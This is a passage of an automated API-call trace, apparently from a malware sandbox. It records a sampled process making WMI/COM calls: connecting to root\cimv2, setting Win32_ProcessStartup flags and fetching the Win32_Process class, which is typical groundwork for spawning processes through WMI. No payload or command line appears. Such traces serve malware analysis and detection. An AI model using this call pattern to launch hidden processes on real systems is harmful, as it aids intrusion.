[1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bef88e0) returned 0x0 [0085.544] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef88e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.544] WbemDefPath:IUnknown:Release (This=0x1bef88e0) returned 0x3 [0085.544] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0085.544] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0085.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0085.544] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0085.544] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0085.544] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0085.544] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0085.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3b340) returned 0x0 [0085.544] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0085.544] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0085.544] WbemDefPath:IWbemPath:SetText (This=0x1bf3b340, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0085.544] IWbemClassObject:Get (in: This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294f9e8*=0, plFlavor=0x294f9ec*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294f9e8*=19, plFlavor=0x294f9ec*=0) returned 0x0 [0085.545] IWbemClassObject:Get (in: This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294f9e8*=19, plFlavor=0x294f9ec*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294f9e8*=19, plFlavor=0x294f9ec*=0) returned 0x0 [0085.545] IWbemClassObject:Put (This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0085.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0085.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0085.545] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0085.545] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.545] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0085.545] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0085.545] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0085.545] IUnknown:Release (This=0x111f638) returned 0x1 [0085.547] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bef8260) returned 0x0 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0085.548] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3b280) returned 0x0 [0085.548] WbemDefPath:IUnknown:Release (This=0x1bef8260) returned 0x0 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3b280) returned 0x0 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0085.548] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0085.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bef8520) returned 0x0 [0085.549] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8520, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.549] WbemDefPath:IUnknown:Release (This=0x1bef8520) returned 0x3 [0085.549] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0085.549] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0085.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0085.549] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0085.549] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x1 [0085.549] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0085.549] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0085.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3b280) returned 0x0 [0085.549] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0085.549] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0085.549] WbemDefPath:IWbemPath:SetText (This=0x1bf3b280, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0085.549] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0085.549] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0085.549] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.549] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0085.550] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0085.550] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0085.550] IUnknown:Release (This=0x111f638) returned 0x1 [0085.551] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bef82a0) returned 0x0 [0085.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef82a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0085.551] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef82a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bef81e0) returned 0x0 [0085.551] WbemLocator:IUnknown:Release (This=0x1bef82a0) returned 0x0 [0085.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bef81e0) returned 0x0 [0085.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0085.552] WbemLocator:IUnknown:AddRef (This=0x1bef81e0) returned 0x3 [0085.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0085.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0085.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0085.552] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0085.552] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0085.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0085.552] WbemLocator:IUnknown:Release (This=0x1bef81e0) returned 0x2 [0085.552] WbemLocator:IUnknown:Release (This=0x1bef81e0) returned 0x1 [0085.552] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0085.552] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0085.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef81e0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bef81e0) returned 0x0 [0085.552] WbemLocator:IUnknown:AddRef (This=0x1bef81e0) returned 0x3 [0085.552] WbemLocator:IUnknown:Release (This=0x1bef81e0) returned 0x2 [0085.552] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0085.552] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0085.552] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.552] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bef8200) returned 0x0 [0085.553] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef8200, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x11c7440) returned 0x0 [0085.651] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf97da0) returned 0x0 [0085.651] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97da0, pProxy=0x11c7440, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0085.652] WbemLocator:IUnknown:Release (This=0x1bf97da0) returned 0x1 [0085.652] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf97de0) returned 0x0 [0085.652] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf97da0) returned 0x0 [0085.652] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97da0, pProxy=0x11c7440, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0085.653] WbemLocator:IUnknown:Release (This=0x1bf97da0) returned 0x2 [0085.653] WbemLocator:IUnknown:Release (This=0x1bf97de0) returned 0x1 [0085.653] CoTaskMemFree (pv=0x11dd180) [0085.653] WbemLocator:IUnknown:AddRef (This=0x11c7440) returned 0x2 [0085.653] WbemLocator:IUnknown:Release (This=0x1bef8200) returned 0x0 [0085.654] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0085.654] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0085.654] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf97db0) returned 0x0 [0085.654] WbemLocator:IRpcOptions:Query (in: This=0x1bf97db0, pPrx=0x1bef8000, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0085.654] WbemLocator:IUnknown:Release (This=0x1bf97db0) returned 0x2 [0085.655] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0085.655] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0085.655] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7440, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x11c7440) returned 0x0 [0085.655] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x2 [0085.655] SysStringLen (param_1=0x0) returned 0x0 [0085.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0085.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0085.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0085.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0085.656] IWbemServices:GetObject (in: This=0x11c7440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef3ce0, ppCallResult=0x0) returned 0x0 [0085.662] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0085.662] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0085.662] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0085.662] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0085.663] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0085.663] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0085.663] IUnknown:Release (This=0x111f638) returned 0x1 [0085.666] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bef8200) returned 0x0 [0085.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8200, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0085.666] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8200, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 